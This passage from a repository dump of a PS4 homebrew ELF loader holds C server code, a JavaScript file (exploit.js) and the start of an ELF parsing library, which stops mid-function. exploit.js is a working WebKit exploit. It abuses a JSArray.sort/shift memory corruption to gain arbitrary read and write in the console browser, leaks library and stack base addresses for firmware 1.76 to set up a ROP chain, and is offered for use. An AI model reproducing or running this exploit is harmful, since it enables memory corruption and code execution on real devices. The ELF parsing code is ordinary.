276 | FILE **__stdoutp_address; 277 | FILE **__stderrp_address; 278 | int *__isthreaded_address; 279 | struct sigaction sa; 280 | 281 | // resolve globals needed for standard io 282 | libc = sceKernelLoadStartModule("libSceLibcInternal.sprx", 0, NULL, 0, 0, 0); 283 | sceKernelDlsym(libc, "__stdinp", (void **)&__stdinp_address); 284 | sceKernelDlsym(libc, "__stdoutp", (void **)&__stdoutp_address); 285 | sceKernelDlsym(libc, "__stderrp", (void **)&__stderrp_address); 286 | sceKernelDlsym(libc, "__isthreaded", (void **)&__isthreaded_address); 287 | __stdinp = *__stdinp_address; 288 | __stdoutp = *__stdoutp_address; 289 | __stderrp = *__stderrp_address; 290 | __isthreaded = *__isthreaded_address; 291 | 292 | // Suppress sigpipe 293 | sa.sa_handler = SIG_IGN; 294 | sa.sa_flags = 0; 295 | sigaction(SIGPIPE, &sa, 0); 296 | 297 | // Change standard io buffering 298 | setvbuf(stdin, NULL, _IOLBF, 0); 299 | setvbuf(stdout, NULL, _IONBF, 0); 300 | setvbuf(stderr, NULL, _IONBF, 0); 301 | 302 | // Setup of server logic(s) 303 | io.run = user.run = kernel.run = kernelProcess.run = &run; 304 | io.port = ELF_LOADER_SERVER_IO_PORT; 305 | io.elfRunner = NULL; 306 | user.port = ELF_LOADER_SERVER_USER_PORT; 307 | user.elfRunner = elfLoaderUserRun; 308 | kernel.port = ELF_LOADER_SERVER_KERNEL_PORT; 309 | kernel.elfRunner = elfLoaderKernelRun; 310 | kernelProcess.port = ELF_LOADER_SERVER_KERNEL_PROCESS_PORT; 311 | kernelProcess.elfRunner = elfLoaderKernelProcessRun; 312 | 313 | //FIXME: checks ... -_- 314 | // Start handling threads 315 | // "io" will set run once its set up to ensure it gets fds 0,1 and 2 or fail with run = -1 316 | pthread_create(&io.thread, NULL, elfLoaderServerIo, &io); 317 | while(run == 0) 318 | sleep(0); 319 | if(run == -1) 320 | return EXIT_FAILURE; 321 | 322 | pthread_create(&user.thread, NULL, elfLoaderServerElf, &user); 323 | pthread_create(&kernel.thread, NULL, elfLoaderServerElf, &kernel); 324 | pthread_create(&kernelProcess.thread, NULL, elfLoaderServerElf, &kernelProcess); 325 | 326 | // If you like to stop the threads, best just close/reopen the browser 327 | // Otherwise send non-elf 328 | while(run == 1) 329 | sleep(1); 330 | 331 | shutdown(io.descriptor, SHUT_RDWR); 332 | shutdown(user.descriptor, SHUT_RDWR); 333 | shutdown(kernel.descriptor, SHUT_RDWR); 334 | shutdown(kernelProcess.descriptor, SHUT_RDWR); 335 | close(io.descriptor); 336 | close(user.descriptor); 337 | close(kernel.descriptor); 338 | close(kernelProcess.descriptor); 339 | 340 | // This does not imply that the started elfs ended 341 | // Kernel stuff will continue to run 342 | // User stuff will end on browser close 343 | pthread_join(io.thread, NULL); 344 | pthread_join(user.thread, NULL); 345 | pthread_join(kernel.thread, NULL); 346 | pthread_join(kernelProcess.thread, NULL); 347 | 348 | return 0; 349 | } 350 | -------------------------------------------------------------------------------- /local/js/exploit.js: -------------------------------------------------------------------------------- 1 | // module bases for gadgets 2 | var LIBKERNEL = 1; 3 | var LIBC = 2; 4 | var LIBSYSMODULE = 3; 5 | var SCENET = 4; 6 | var SCENETCTL = 5; 7 | var SCEIPMI = 6; 8 | var SCEMBUS = 7; 9 | var SCEREGMGR = 8; 10 | var SCERTC = 9; 11 | var SCEPAD = 10; 12 | var SCEVIDEOOUT = 11; 13 | var SCEPIGLET = 12; 14 | var SCEORBISCOMPAT = 13; 15 | var WEBKIT2 = 14; 16 | var SCESYSCORE = 15; 17 | var SCESSL = 16; 18 | var SCEVIDEOCORESERVICE = 17; 19 | var SCESYSTEMSERVICE = 18; 20 | var SCECOMPOSITEEXT = 19; 21 | 22 | var errno = [ 23 | "OK", 24 | "Operation not permitted", 25 | "No such file or directory", 26 | "No such process", 27 | "Interrupted system call", 28 | "I/O error", 29 | "No such device or address", 30 | "Argument list too long", 31 | "Exec format error", 32 | "Bad file number", 33 | "No child processes", 34 | "Try again", 35 | "Out of memory", 36 | "Permission denied", 37 | "Bad address", 38 | "Block device required", 39 | "Device or resource busy", 40 | "File exists", 41 | "Cross-device link", 42 | "No such device", 43 | "Not a directory", 44 | "Is a directory", 45 | "Invalid argument", 46 | "File table overflow", 47 | "Too many open files", 48 | "Not a typewriter", 49 | "Text file busy", 50 | "File too large", 51 | "No space left on device", 52 | "Illegal seek", 53 | "Read-only file system", 54 | "Too many links", 55 | "Broken pipe", 56 | "Math argument out of domain of func", 57 | "Math result not representable" 58 | ]; 59 | 60 | // global vars 61 | var _gc, _cnt = 0; 62 | 63 | function exploit() { 64 | try { 65 | // 66 | // Part 1: getting the Uint32Array object address 67 | // 68 | // init vars 69 | window.u32 = new Uint32Array(0x100); 70 | var a1 = [0,1,2,3,u32]; 71 | var a2 = [0,1,2,3,4]; // right after a1 72 | var a1len = a1.length; 73 | var a2len = a2.length; 74 | var u32len = u32.length; 75 | 76 | // protect local vars from GC // for gdb 77 | if (!_gc) _gc = new Array(); 78 | _gc.push(u32,a1,a2); 79 | 80 | // declare custom compare function 81 | var myCompFunc = function(x, y) { 82 | // check for the last call for last two array items 83 | if(y == 3 && x == u32) { 84 | //logAdd("myCompFunc(u32,3)"); 85 | // shift() is calling during sort(), what causes the 86 | // last array item is written outside the array buffer 87 | a1.shift(); 88 | } 89 | return 0; 90 | } 91 | 92 | // call the vulnerable method - JSArray.sort(...) 93 | a1.sort(myCompFunc); 94 | 95 | // check results: a2.length should be overwritten by a1[4] 96 | var len = a2.length; 97 | //logAdd("a2.length = 0x" + len.toString(16)); 98 | if (len == a2len) { logAdd("error: 1"); return 1; } 99 | 100 | // 101 | // Part 2: creating corrupted JSValue which points to the (u32+0x18) address 102 | // 103 | 104 | // modify our compare function 105 | myCompFunc = function(x,y) { 106 | if (y == 0 && x == 1) { 107 | //logAdd("myCompFunc(1,0)"); 108 | // call shift() again to read the corrupted JSValue from a2.length 109 | // into a1[3] on the next sort loop 110 | a1.length = a1len; 111 | a1.shift(); 112 | // modify JSValue 113 | a2.length = len + 0x18; 114 | } 115 | if (y == 3) { 116 | //logAdd("myCompFunc(x,3)"); 117 | // shift it back to access a1[3] 118 | a1.unshift(0); 119 | } 120 | return 0; 121 | } 122 | 123 | a1.sort(myCompFunc); 124 | 125 | // now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18) 126 | var c = a2.length; 127 | //logAdd("a2.length = 0x" + c.toString(16)); 128 | if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; } 129 | 130 | // 131 | // Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h) 132 | // 133 | 134 | // generate dummy JS functions 135 | var f, f2, f2offs, f2old, funcs = new Array(30); 136 | c = funcs.length; 137 | for(var i=0; i < c; i++){ 138 | f = new Function("arg", " return 876543210 + " + (_cnt++) + ";"); 139 | f.prop2 = 0x12345600 + i; 140 | funcs[i] = f; 141 | } 142 | 143 | // generate JIT-code 144 | for(var i=c-1; i >= 0; i--) { funcs[i](i); } 145 | 146 | // prepare objects for the third sort() call 147 | var mo = {}; 148 | var pd = { set: funcs[0], enumerable:true, configurable:true } 149 | var a3 = [0,1,2,a1[3]]; 150 | 151 | // allocate mo's property storage right after a3's buffer 152 | Object.defineProperty(mo, "prop0", pd); 153 | for(var i=1; i < 5; i++){ 154 | mo["prop"+i] = i; 155 | } 156 | 157 | // protect from GC 158 | _gc.push(a3,mo,funcs); 159 | 160 | // use sort-n-shift technique again 161 | myCompFunc = function(x,y) 162 | { 163 | // check for the last call for two last array items 164 | if (y == 2) { 165 | //logAdd("myCompFunc(a3[3],2)"); 166 | // a3[3] will be written over the mo.prop0 object 167 | a3.shift(); 168 | } 169 | return 0; 170 | } 171 | 172 | // overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18 173 | a3.sort(myCompFunc); 174 | 175 | // u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object. 176 | // we should put some valid pointers into GetterSetter 177 | u32.prop1 = u32; // GetterSetter.m_structure 178 | u32.prop2 = 8; // 8 = JSType.GetterSetterType 179 | u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter() 180 | 181 | // clear corrupted JSValue 182 | a1[3] = 0; a3[3] = 0; 183 | 184 | // overwrite u32.m_impl by some JSFunction object 185 | f = funcs[c-5]; 186 | pd.set = f; 187 | Object.defineProperty(mo, "prop0", pd); 188 | 189 | // check results: u32.length is taken from f's internals now 190 | //logAdd("u32.length = 0x" + u32.length.toString(16)); 191 | if (u32.length == u32len) { logAdd("error: 3"); return 3; } 192 | 193 | // 194 | // Part 4: getting the JIT-code memory address 195 | // 196 | 197 | // declare aux functions 198 | var setU64 = function(offs, val) { 199 | u32[offs] = val % 0x100000000; 200 | u32[offs+1] = val / 0x100000000; 201 | } 202 | var setU32 = function(offs, val) { 203 | u32[offs] = val; 204 | } 205 | var setU16 = function(offs, val) { 206 | setU8(offs, val % 256); 207 | setU8(offs + 1, val / 256); 208 | } 209 | var setU8 = function(offs, val) { 210 | u32[offs >>> 2] = (u32[offs >>> 2] & ~(0xFF << ((offs % 4) * 8))) | (val << ((offs % 4) * 8)); 211 | } 212 | 213 | var getU64 = function(offs) { 214 | return u32[offs] + u32[offs+1] * 0x100000000; 215 | } 216 | var getU32 = function(offs) { 217 | return u32[offs]; 218 | } 219 | var getU8 = function(offs) { 220 | return (u32[offs >>> 2] >> ((offs % 4) * 8)) & 0xff; 221 | } 222 | var getObjAddr = function(obj) { 223 | // write obj into u32 data 224 | pd.set.prop2 = obj; 225 | // read obj address from u32 226 | return getU64(2); 227 | } 228 | 229 | window.va2ea = function(addr) { 230 | return addr - u32base; 231 | } 232 | window.va2o = function(addr) { 233 | return va2ea(addr) >>> 2; 234 | } 235 | 236 | // will not modify u32base 237 | 238 | window.read32 = function(addr) { 239 | return u32[va2o(addr)]; 240 | } 241 | window.write32 = function(addr, val) { 242 | u32[va2o(addr)] = val & 0xffffffff; 243 | } 244 | window.read64 = function(addr) { 245 | return getU64(va2o(addr)); 246 | } 247 | window.write64 = function(addr, val) { 248 | return setU64(va2o(addr), val); 249 | } 250 | 251 | window.readString = function(addr) { 252 | var s = ''; 253 | var ea = va2ea(addr); 254 | var i = ea / 4; 255 | var j = ea % 4; 256 | while (1) { 257 | var c = (u32[i] >>> (8 * j)) & 0xff; 258 | if (c == 0) return s; 259 | s += String.fromCharCode(c); 260 | j = (j + 1) % 4; 261 | if (j == 0) { i += 1; } 262 | } 263 | return s; 264 | } 265 | 266 | window.writeString = function(addr, val) { 267 | var ea = va2ea(addr); 268 | var i = ea / 4; 269 | var j = ea % 4; 270 | for (var x = 0; x <= val.length; x++) { 271 | var c = (x == val.length) ? 0 : val.charCodeAt(x); 272 | var w = u32[i]; 273 | w = (w & ~(0xff << (8 * j))) | (c << (8 * j)); 274 | u32[i] = w; 275 | j = (j + 1) % 4; 276 | if (j == 0) { i += 1; } 277 | } 278 | return addr + val.length; 279 | } 280 | 281 | window.int2hex = function(value, digits) { 282 | value = value.toString(16); 283 | while (value.length < digits) { 284 | value = "0" + value; 285 | } 286 | 287 | return value; 288 | } 289 | 290 | window.hexDump = function(addr, length) { 291 | var b = '

'; 292 | var tmp = ''; 293 | var ea = va2ea(addr); 294 | var i = ea / 4; 295 | var j = ea % 4; 296 | 297 | b += int2hex(addr, 8); 298 | b += ": "; 299 | 300 | for (z = 1; z <= length; z++) { 301 | var ch = (u32[i] >>> (8 * j)) & 0xff; 302 | b += int2hex(ch, 2); 303 | if(( ch > 31) && (ch < 127)){ 304 | tmp += String.fromCharCode(ch); 305 | } 306 | else { 307 | tmp += "." 308 | } 309 | 310 | j = (j + 1) % 4; 311 | if (j == 0) { i += 1; } 312 | 313 | 314 | //if(z % 4 == 0) { 315 | b += " "; 316 | //} 317 | 318 | //if(z % 8 == 0) { 319 | // b += " "; 320 | //} 321 | 322 | if(z % 16 == 0) { 323 | b += " | " + tmp + "
"; 324 | tmp = ""; 325 | if (z != length) { 326 | b += int2hex(addr+z, 8) + ": "; 327 | } 328 | } 329 | } 330 | return b + "

" 331 | } 332 | 333 | // size multiples of 8 only 334 | window.zeroMemory = function(base, size) { 335 | for(var i = base; i < base + size; i += 8) { 336 | setU64to(i, 0); 337 | } 338 | } 339 | 340 | // convert base to base 341 | window.baseToBase = function(fromBase, toBase, value) { 342 | if(value == "") value = 0; 343 | value = parseInt(value, fromBase); 344 | return Number(value).toString(toBase).toUpperCase(); 345 | } 346 | 347 | // hex escape bytes 348 | window.escapeToHex = function(str) { 349 | var hex = ''; 350 | for(var i = 0; i < str.length; i += 2) { 351 | hex += '\\x' + str[i] + str[i + 1]; 352 | } 353 | 354 | //have to eval so JavasSript processes the string for appending 355 | return eval("ret = \"" + hex + "\""); 356 | } 357 | 358 | // get the memory address of u32 359 | var u32addr = getObjAddr(u32); 360 | //logAdd("u32 address = 0x" + u32addr.toString(16)); 361 | // get the memory address of u32[0] (ArrayBufferView.m_baseAddress) 362 | var u32base = getObjAddr(pd.set) + 0x20; 363 | var u32base0 = u32base; 364 | //logAdd("u32 base = 0x" + u32base.toString(16)); 365 | 366 | // on x64 platforms we can't just set u32.length to the huge number 367 | // for ability to access arbitrary addresses. We should be able to 368 | // modify the u32's buffer pointer on-the-fly. 369 | window.setBase = function(addr){ 370 | if (!f2) { 371 | // search for another JSFunction near "f" 372 | for(var i=0x12; i < 0x80; i+=0x10){ 373 | if ((u32[i] >>> 8) == 0x123456) { 374 | f2 = funcs[u32[i] & 0xFF]; 375 | f2offs = i - 6; 376 | f2old = getU64(f2offs); 377 | break; 378 | } 379 | } 380 | logAdd("f2offs = 0x" + f2offs); 381 | if (!f2) { return false; } 382 | 383 | } 384 | if (pd.set != f) { 385 | pd.set = f; 386 | Object.defineProperty(mo, "prop0", pd); 387 | u32base = u32base0; 388 | } 389 | if (addr == null) return true; 390 | 391 | // this will be the new value for ((ArrayBufferView)u32).m_baseAddress 392 | setU64(f2offs, addr); 393 | 394 | // overwrite ((JSUint32Array)u32).m_impl again 395 | pd.set = f2; 396 | Object.defineProperty(mo, "prop0", pd); 397 | 398 | u32base = addr; 399 | //logAdd("u32 new base = 0x" + u32base.toString(16)); 400 | 401 | return true; 402 | } 403 | 404 | // read/write the 64-bit value from the custom address 405 | window.getU64from = function(addr) { 406 | if (addr < u32base || addr >= u32base + u32len*4) { 407 | if (!setBase(addr)) return 0; 408 | } 409 | return getU64((addr - u32base) >>> 2); 410 | } 411 | 412 | window.getU32from = function(addr) { 413 | if (addr < u32base || addr >= u32base + u32len*4) { 414 | if (!setBase(addr)) return 0; 415 | } 416 | return getU32((addr - u32base) >>> 2); 417 | } 418 | 419 | window.getU8from = function(addr) { 420 | if (addr < u32base || addr >= u32base + u32len*4) { 421 | if (!setBase(addr)) return 0; 422 | } 423 | return getU8(addr - u32base); 424 | } 425 | 426 | window.setU64to = function(addr,val) { 427 | if (addr < u32base || addr >= u32base + u32len*4) { 428 | if (!setBase(addr)) return 0; 429 | } 430 | return setU64((addr - u32base) >>> 2, val); 431 | } 432 | window.setU32to = function(addr,val) { 433 | if (addr < u32base || addr >= u32base + u32len*4) { 434 | if (!setBase(addr)) return 0; 435 | } 436 | return setU32((addr - u32base) >>> 2, val); 437 | } 438 | window.setU16to = function(addr,val) { 439 | if (addr < u32base || addr >= u32base + u32len*4) { 440 | if (!setBase(addr)) return 0; 441 | } 442 | return setU16((addr - u32base), val); 443 | } 444 | window.setU8to = function(addr,val) { 445 | if (addr < u32base || addr >= u32base + u32len*4) { 446 | if (!setBase(addr)) return 0; 447 | } 448 | return setU8((addr - u32base), val); 449 | } 450 | window.setU64into = function(addr, value) { 451 | var low = value %0x100000000; 452 | var high = value/0x100000000; 453 | setBase(addr) 454 | u32[0] = parseInt(low.toString(16),16); 455 | u32[1] = parseInt(high.toString(16),16); 456 | } 457 | window.setU32into = function(addr, value) { 458 | setBase(addr); 459 | u32[0] = value; 460 | } 461 | 462 | 463 | //logAdd("u32 size: 0x" + u32.length.toString(16)); 464 | 465 | // Get the object table from the origianl heap address 466 | // +0x20 is a pointer we can use for some object 467 | 468 | var xx = getU64from(u32base0+0x20); 469 | var yy=0; 470 | //logAdd("verify base: 0x"+xx.toString(16) ); 471 | 472 | // 473 | // This is the only part you need to modify 474 | // 475 | // 476 | // 477 | // First, the heap array has a pointer into a function 478 | // in WebKit2. The one I'm using is always at +0x20 from 479 | // the original base at +0x20. 480 | 481 | // 1.70 PS4 = -0x30bf0 is the start of webkit 482 | 483 | // +0x25C4000 = some data 484 | // +0x2414000 = import table 485 | // (import table +0x20) = modules table 486 | // If this crashes, try it 2-4 more times. It usually will work 487 | 488 | // target addr for the rop chain 489 | 490 | var chain_addr = u32base0 + 0x80000; 491 | var chain_data = u32base0 + 0x88000; 492 | 493 | // xx will be the base address of WebKit2 494 | 495 | xx = (getU64from(xx+0x20)-0x30bf0); 496 | var wk_base = xx; 497 | logAdd("WebKit2 base address = 0x" + xx.toString(16)); 498 | xx += 0x2414000; // Get to the import table 499 | setBase(xx); 500 | 501 | xx = getU64from(xx+0x20); // Get to the module table 502 | // Future use: data area somewhere around 0x200500000 503 | 504 | //get libSceLibcinternal base 505 | var libc_int_base = getU64from(xx+0x1628); //1.76 506 | 507 | //logAdd("Dump Address is 0x" + xx.toString(16)); 508 | 509 | var module_list = xx + 0xae0 + 0x690; 510 | 511 | // module list is a doubly linked list, where the last node has self->next == 0 512 | // and the first node has self->prev == prev->next && self->prev->prev == last 513 | // The list head is seperate from the list and is a kind of "fake" node 514 | var modinfo_ptr = module_list; 515 | module_infos = {}; 516 | var n = 0; 517 | 518 | setBase(module_list); 519 | while (modinfo_ptr != 0) { 520 | var name = readString(modinfo_ptr + 0x18); 521 | if (name == '') { break; } 522 | var rdata_base = read64(modinfo_ptr + 0x170); 523 | var rdata_size = read32(modinfo_ptr + 0x178); 524 | var import_base = read64(modinfo_ptr + 0x180); 525 | var import_size = read32(modinfo_ptr + 0x188); 526 | if (rdata_base == 0 || 527 | rdata_size == 0 || 528 | import_base == 0 || 529 | import_size == 0) { 530 | logAdd('jit kicked in? skipping...'); 531 | } else { 532 | module_infos[n] = { 533 | name : name, 534 | image_base : rdata_base, 535 | image_size : rdata_size + import_size, 536 | image_end : rdata_base + rdata_size + import_size, 537 | text_start : rdata_base, 538 | text_size : rdata_size, 539 | text_end : rdata_base + rdata_size, 540 | idata_start : import_base, 541 | idata_size : import_size, 542 | idata_end : import_base + import_size, 543 | }; 544 | } 545 | // somehow adding the constant instead of reading the value 546 | // tends to avoid the jit problem 547 | //modinfo_ptr = read64(modinfo_ptr + 0); 548 | modinfo_ptr += 0x1c0; 549 | n++; 550 | } 551 | 552 | var libsysmodule_base = getU64from(xx+0x17E8); 553 | 554 | //get libkernel base 555 | //xx = getU64from(xx+0xdd8); //1.71 556 | xx = getU64from(xx+0x1468); //1.76 557 | //var libkernel_base = xx; 558 | 559 | setBase(xx); 560 | 561 | //get stack base 562 | //xx = getU64from(xx+0x3D890); //1.76 webkit2 stack? 563 | xx = getU64from(xx+0x5B278); //1.76 webprocess stack 564 | //yy = getU64from(xx+0x5AA70); //1.71 565 | window.stack_base = xx - 0x4000; 566 | //yy = getU64from(xx+0x5AA70); 567 | 568 | 569 | // Defining modules 570 | libkernel = module_infos[LIBKERNEL]; 571 | libSceLibcInternal = module_infos[LIBC]; 572 | libSceSysmodule = module_infos[LIBSYSMODULE]; 573 | libSceNet = module_infos[SCENET]; 574 | libSceNetCtl = module_infos[SCENETCTL]; 575 | libSceIpmi = module_infos[SCEIPMI]; 576 | libSceMbus = module_infos[SCEMBUS]; 577 | libSceRegMgr = module_infos[SCEREGMGR]; 578 | libSceRtc = module_infos[SCERTC]; 579 | libScePad = module_infos[SCEPAD]; 580 | libSceVideoOut = module_infos[SCEVIDEOOUT]; 581 | libScePigletv2VSH = module_infos[SCEPIGLET]; 582 | libSceOrbisCompat = module_infos[SCEORBISCOMPAT]; 583 | libSceWebKit2 = module_infos[WEBKIT2]; 584 | libSceSysCore = module_infos[SCESYSCORE]; 585 | libSceSsl = module_infos[SCESSL]; 586 | libSceVideoCoreServerInterface = module_infos[SCEVIDEOCORESERVICE]; 587 | libSceSystemService = module_infos[SCESYSTEMSERVICE]; 588 | libSceCompositeExt = module_infos[SCECOMPOSITEEXT]; 589 | 590 | logAdd("libkernel Base = 0x" + libkernel.image_base.toString(16)); 591 | logAdd("libSceLibcinternal Base = 0x" + libSceLibcInternal.image_base.toString(16)); 592 | logAdd("Stack Base = 0x" + stack_base.toString(16)); 593 | 594 | logAdd("Refresh this page between calls to avoid instability and crashes. Enjoy..."); 595 | 596 | window.return_va = 0x2b38; //1.76 597 | } 598 | catch(e) { 599 | logAdd(e); 600 | } 601 | 602 | return 0; 603 | } 604 | -------------------------------------------------------------------------------- /ps4/library/source/elfloader.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | /* Defines */ 7 | 8 | #define elfRelocationSymbol __ELFN(R_SYM) 9 | #define elfRelocationType __ELFN(R_TYPE) 10 | #define elfRelocationInfo __ELFN(R_INFO) 11 | 12 | #define elfSymbolBind __ELFN(ST_BIND) 13 | #define elfSymbolType __ELFN(ST_TYPE) 14 | #define elfSymbolInfo __ELFN(ST_INFO) 15 | 16 | #define elfIsElf(e) IS_ELF(*elfHeader(e)) // FIXME: Null deref 17 | 18 | #define elfClass(e) (e == NULL ? 0 : e->data[4]) 19 | #define elfEncoding(e) (e == NULL ? 0 : e->data[5]) 20 | #define elfVersion(e) (e == NULL ? 0 : e->data[6]) 21 | #define elfABI(e) (e == NULL ? 0 : e->data[7]) 22 | 23 | /* Constants */ 24 | 25 | enum{ ELF_MAXIMAL_STRING_LENGTH = 4096 }; 26 | 27 | /* Type */ 28 | 29 | typedef struct Elf // FIXME: We could cache a lot of offsets here to inc. performance 30 | { 31 | uint8_t *data; 32 | size_t size; // FIXME: Do more checks on size 33 | } 34 | Elf; 35 | 36 | size_t elfGetSize(Elf *elf) 37 | { 38 | return elf->size; 39 | } 40 | 41 | uint8_t *elfGetData(Elf *elf) 42 | { 43 | return elf->data; 44 | } 45 | 46 | /* --- elf header --- */ 47 | 48 | ElfHeader *elfHeader(Elf *elf) 49 | { 50 | if(!elf) 51 | return NULL; 52 | return (ElfHeader *)elf->data; 53 | } 54 | 55 | uint64_t elfEntry(Elf *elf) 56 | { 57 | if(!elf) 58 | return 0; 59 | ElfHeader *h = elfHeader(elf); 60 | if(!h) 61 | return 0; 62 | return h->e_entry; 63 | } 64 | 65 | uint64_t elfLargestAlignment(Elf *elf) //ignore ... 66 | { 67 | uint16_t index = 0; 68 | uint64_t alignment = 0; 69 | 70 | while(1) 71 | { 72 | ElfSegment *h = elfSegment(elf, &index, ELF_SEGMENT_ATTRIBUTE_TYPE, PT_LOAD); 73 | if(!h) 74 | break; 75 | 76 | // FIXME: Tired of bogus 2MB alignment -> ignore 77 | if(alignment < h->p_align && h->p_align < 0x200000) 78 | alignment = h->p_align; 79 | ++index; 80 | } 81 | return alignment; 82 | } 83 | 84 | size_t elfMemorySize(Elf *elf) 85 | { 86 | ElfSection *sections; 87 | ElfSegment *segments; 88 | 89 | uint16_t size; 90 | uint16_t length; 91 | uint16_t index; 92 | 93 | size_t memorySize = 0; 94 | 95 | if(!elf) 96 | return 0; 97 | 98 | segments = elfSegments(elf, &size, &length); 99 | if(segments) 100 | { 101 | for(index = 0; index < length; ++index) 102 | { 103 | ElfSegment *s = (ElfSegment *)((uint8_t *)segments + index * size); 104 | if(memorySize < s->p_paddr + s->p_memsz) 105 | memorySize = s->p_paddr + s->p_memsz; 106 | } 107 | } 108 | else 109 | { 110 | length = 0; 111 | sections = elfSections(elf, &size, &length); 112 | if(!sections) 113 | return 0; 114 | for(index = 0; index < length; ++index) 115 | { 116 | ElfSection *s = (ElfSection *)((uint8_t *)sections + index * size); 117 | if(memorySize < s->sh_addr + s->sh_size) 118 | memorySize = s->sh_addr + s->sh_size; 119 | } 120 | } 121 | 122 | return memorySize; 123 | } 124 | 125 | /* --- elf section header --- */ 126 | 127 | char *elfSectionStrings(Elf *elf, uint64_t *size) 128 | { 129 | ElfHeader *h; 130 | uint16_t i; 131 | ElfSection *s; 132 | h = elfHeader(elf); 133 | i = h->e_shstrndx; 134 | s = elfSection(elf, &i, ELF_SECTION_ATTRIBUTE_NONE, 0); 135 | if(size) 136 | *size = s->sh_size; 137 | return (char *)elf->data + s->sh_offset; 138 | } 139 | 140 | uint64_t elfSectionAttribute(ElfSection *elfSection, ElfSectionAttribute attribute) 141 | { 142 | switch(attribute) 143 | { 144 | case ELF_SECTION_ATTRIBUTE_NAME: 145 | return elfSection->sh_name; 146 | case ELF_SECTION_ATTRIBUTE_TYPE: 147 | return elfSection->sh_type; 148 | case ELF_SECTION_ATTRIBUTE_FLAGS: 149 | return elfSection->sh_flags; 150 | case ELF_SECTION_ATTRIBUTE_ADDRESS: 151 | return elfSection->sh_addr; 152 | case ELF_SECTION_ATTRIBUTE_OFFSET: 153 | return elfSection->sh_offset; 154 | case ELF_SECTION_ATTRIBUTE_SIZE: 155 | return elfSection->sh_size; 156 | case ELF_SECTION_ATTRIBUTE_LINK: 157 | return elfSection->sh_link; 158 | case ELF_SECTION_ATTRIBUTE_INFO: 159 | return elfSection->sh_info; 160 | case ELF_SECTION_ATTRIBUTE_MEMORY_ALIGNMENT: 161 | return elfSection->sh_addralign; 162 | case ELF_SECTION_ATTRIBUTE_ENTRY_SIZE: 163 | return elfSection->sh_entsize; 164 | default: 165 | break; 166 | } 167 | return 0; 168 | } 169 | 170 | ElfSection *elfSections(Elf *elf, uint16_t *size, uint16_t *length) 171 | { 172 | ElfHeader *h; 173 | 174 | if(!elf) 175 | return NULL; 176 | 177 | h = elfHeader(elf); 178 | 179 | if(h->e_shoff == 0) 180 | return NULL; 181 | 182 | if(size != NULL) 183 | *size = h->e_shentsize; 184 | if(length != NULL) 185 | *length = h->e_shnum; 186 | 187 | return (ElfSection *)(elf->data + h->e_shoff); 188 | } 189 | 190 | ElfSection *elfSection(Elf *elf, uint16_t *index, ElfSectionAttribute attribute, uint64_t value) 191 | { 192 | uint16_t size; 193 | uint16_t length; 194 | ElfSection *h, *t; 195 | uint16_t i = 0; 196 | 197 | if(!index) 198 | index = &i; 199 | 200 | h = elfSections(elf, &size, &length); 201 | 202 | if(!h) 203 | return NULL; 204 | 205 | for(; *index < length; ++(*index)) 206 | { 207 | t = (ElfSection *)((uint8_t *)h + *index * size); 208 | if(attribute == ELF_SECTION_ATTRIBUTE_NONE || elfSectionAttribute(t, attribute) == value) 209 | return t; 210 | } 211 | 212 | return NULL; 213 | } 214 | 215 | ElfSection *elfSectionByName(Elf *elf, char *name) 216 | { 217 | uint64_t size; 218 | char *mem = elfSectionStrings(elf, &size); 219 | 220 | uint32_t offset = elfStringToOffset(mem, size, name); 221 | ElfSection *sh = elfSection(elf, NULL, ELF_SECTION_ATTRIBUTE_NAME, offset); 222 | 223 | return sh; 224 | } 225 | 226 | /* --- elf segment header --- */ 227 | 228 | uint64_t elfSegmentAttribute(ElfSegment *elfSegment, ElfSegmentAttribute attribute) 229 | { 230 | switch(attribute) 231 | { 232 | case ELF_SEGMENT_ATTRIBUTE_TYPE: 233 | return elfSegment->p_type; 234 | case ELF_SEGMENT_ATTRIBUTE_FLAGS: 235 | return elfSegment->p_flags; 236 | case ELF_SEGMENT_ATTRIBUTE_OFFSET: 237 | return elfSegment->p_offset; 238 | case ELF_SEGMENT_ATTRIBUTE_VIRTUAL_ADDRESS: 239 | return elfSegment->p_vaddr; 240 | case ELF_SEGMENT_ATTRIBUTE_PHYSICAL_ADDRESS: 241 | return elfSegment->p_paddr; 242 | case ELF_SEGMENT_ATTRIBUTE_FILE_SIZE: 243 | return elfSegment->p_filesz; 244 | case ELF_SEGMENT_ATTRIBUTE_MEMORY_SIZE: 245 | return elfSegment->p_memsz; 246 | case ELF_SEGMENT_ATTRIBUTE_ALIGNMENT: 247 | return elfSegment->p_align; 248 | default: 249 | break; 250 | } 251 | return 0; 252 | } 253 | 254 | ElfSegment *elfSegments(Elf *elf, uint16_t *size, uint16_t *length) 255 | { 256 | ElfHeader *h; 257 | 258 | if(!elf) 259 | return NULL; 260 | 261 | h = elfHeader(elf); 262 | 263 | if(h->e_phoff == 0) 264 | return NULL; 265 | 266 | if(size != NULL) 267 | *size = h->e_phentsize; 268 | if(length != NULL) 269 | *length = h->e_phnum; 270 | 271 | return (ElfSegment *)(elf->data + h->e_phoff); 272 | } 273 | 274 | ElfSegment *elfSegment(Elf *elf, uint16_t *index, ElfSegmentAttribute attribute, uint64_t value) 275 | { 276 | uint16_t size; 277 | uint16_t length; 278 | ElfSegment *h, *t; 279 | uint16_t i = 0; 280 | 281 | if(!index) 282 | index = &i; 283 | 284 | h = elfSegments(elf, &size, &length); 285 | 286 | if(!h) 287 | return NULL; 288 | 289 | for(; *index < length; ++(*index)) 290 | { 291 | t = (ElfSegment *)((uint8_t *)h + *index * size); 292 | if(attribute == ELF_SEGMENT_ATTRIBUTE_NONE || elfSegmentAttribute(t, attribute) == value) 293 | return t; 294 | } 295 | 296 | return NULL; 297 | } 298 | 299 | /* --- elf dynamic section --- */ 300 | 301 | uint64_t elfDynamicAttribute(ElfDynamic *elfDynamic, ElfDynamicAttribute attribute) 302 | { 303 | switch(attribute) 304 | { 305 | case ELF_DYNAMIC_ATTRIBUTE_TAG: 306 | return elfDynamic->d_tag; 307 | case ELF_DYNAMIC_ATTRIBUTE_VALUE: 308 | return elfDynamic->d_un.d_val; 309 | case ELF_DYNAMIC_ATTRIBUTE_POINTER: 310 | return 